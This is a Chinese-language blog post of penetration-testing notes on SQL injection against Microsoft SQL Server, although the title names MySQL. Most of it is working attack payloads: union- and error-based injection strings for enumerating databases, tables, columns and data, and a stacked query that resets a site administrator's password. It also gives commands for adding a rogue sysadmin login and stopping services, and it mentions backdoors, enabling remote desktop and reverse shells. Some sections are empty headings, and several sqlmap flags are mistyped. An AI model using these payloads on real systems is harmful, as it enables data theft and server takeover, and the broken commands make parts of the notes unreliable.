MySQL注入1笔记

发布时间 2023-12-16 19:22:55作者: 4A16

Sqlsever常规操作

  1. access数据库大于100m可能就会运行缓慢,为了应对中小型企业的使用,微软推出

    了sqlserver数据库,用来应对一些大型的数据量。

  2. sqlserver常用于:

    教育网站

    政府网站

    棋牌网站

    游戏网站

一个企业站一个服务器,有可能是sqlsever

一个服务器多个企业站,基本上是access

  1. 监听端口:1433

管理员账号:sa,允许外部连接,可以密码爆破

数据库文件后缀:.mdf .ldf 下载数据库时两者需要同时下载

  1. 数据库使用

这四个系统数据库是由dbid号划分的,用户再创建数据库dbid号从5开始

 

Sqlsever版本向下兼容,如08可以访问05的数据

  1. 数据库删除

删除数据库先分离,然后进数据库目录删除

  1. 数据库权限

    sa权限:数据库操作,文件管理,命令执行,注册表读取等 =system

    dbo权限:文件管理,数据库操作等 =users-administrators

    public:数据库操作 =guest-users

  2. 调用数据库代码

在源码中会有明文显示

  1. 数据库账号信息常见的位置:

    conn.asp/aspx

    config

    dbconn

    web.config

如果查看源代码发现不是sa账号,但不一定没有sa权限,进一步测试再下结论

有时sa账号也会存在被降权的处理

 

Sqlsever注入利用

  1. 判断注入的语句

    And 1=1 and1=2

    ' "

    / -0

  2. 初步判断是否是mysql

    And user > 0

  1. 判断数据库系统

    and (select count(*) from sysobjects)>0 判断是否为mysql

    and (select count(*) from msysobjects)>0 判断是否为access

 

下面是布尔盲注的语句,全靠猜,一般用工具跑

Sqlsever常见的注入类型

  1. Bool盲注
  2. Union

union select null,null,null

替换字符列进行查询数据

查询数据库:

?id=1 union select null,(select name from master.dbo.sysdatabases where dbid=1),null

查询表名:

id=1 union select null,(select top 1 name from (select top 1 name from sysobjects where xtype=0x75 order by name) t order by name desc),null

改变top后的数字来改变查询的第几个表

查询列名:

?id=1 union select null,(select col_name(object_id('表名'),1)),null

改变表名后的数字来改变查询的第几个列

 

注意:access使用select from后面要指定表名,但mssql和mysql可以不指定

因为用数字在非数字列数据类型不匹配会报错,不像access会

直接爆出来,所以要用null,再用数字替换确定是不是数字列,或

用'null'判断是不是字符列,页面回显正常就是字符列,报错就是数字列。

  1. Error:

查询数据库版本

?id=1 and 1=(select@@version)

通过报错把想要获取的信息显示出来。

由于输入id=1是数字类型,后面的语句与数字型不匹配,强制转换会导致报错,从而把查询的信息跟报错信息一起显示出来,也可以?id=@@version

查询数据库名

?id=1 and1 (select db_name())

?id=db_name()

查询表名

获取第一张表名:

?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

获取第二张表名?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <>'前一张表名')

以此类推,除去查过的表继续查询在后面加and name <> '表名'即可

可以以xml格式输出所有表

and 1=(select name from sysobjects where xtype='u' for xml path)

这种可能会被waf拦截

查询列名

?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = '表名'))

同样用and name <> '列名'来依次来爆其他列名

也可使用xml输出

?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = '表名') for xml path)

查询数据

?id=1 and 1=(select top 1 列名 from 表名)

  1. 多语句
  2. 时间盲注

Sqlsever不同权限利用

判断权限语句

and 1=(select is_srvrolemember('sysadmin')) :判断是否为sa(系统管理员)权限

and 1=(select is_srvrolemember('db_owner')):判断是否为dbo(库)权限

and 1=(select is_srvrolemember('public')) :判断是否为public权限

页面返回正常说明是你正在测的权限

*Sa权限的利用

  1. 注入用户密码(三种权限都可以)
  2. 修改网站管理员密码:

应用于管理员密码md5值解不出来

先备份原md5值

?id=1 ;update admin set pass='要设置的密码的md5' where

admin='管理员用户名'(这里是多语句查询注入)

  1. 直接getshell

  1. 调用系统命令

创建系统管理员

注意:08创建用户时限制密码不能用弱口令

 

操控文件

操控日志文件

getshell

08:

Echo写入一句话到网站根目录,注意一句话要用^引用

 

  1. 创建sqlserver管理:

exec master.dbo.sp_addlogin test,password:创建一个test账号

exec master.dbo.sp_addsrvrolemember test,sysadmin:将test账号添加到

sysadmin中,拥有sa权限

  1. 系统服务操作,停止或启动服务:

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

  1. 注册表操作

创建后门

开启3389

 

启用3389之后新建任务调用cmd,可以进行无文件攻击,建立反弹会话

运行Explorer.exe可直接进入系统

Dbowner权限利用

Getshell

可以利用工具

Sqlsever工具使用

Sqlmap:

Sqlmap -u url --current -db 列出当前数据库

Sqlmap -u url --current -user 查看当前用户

Sqlmap -u url --is -dba 判断是否为管理员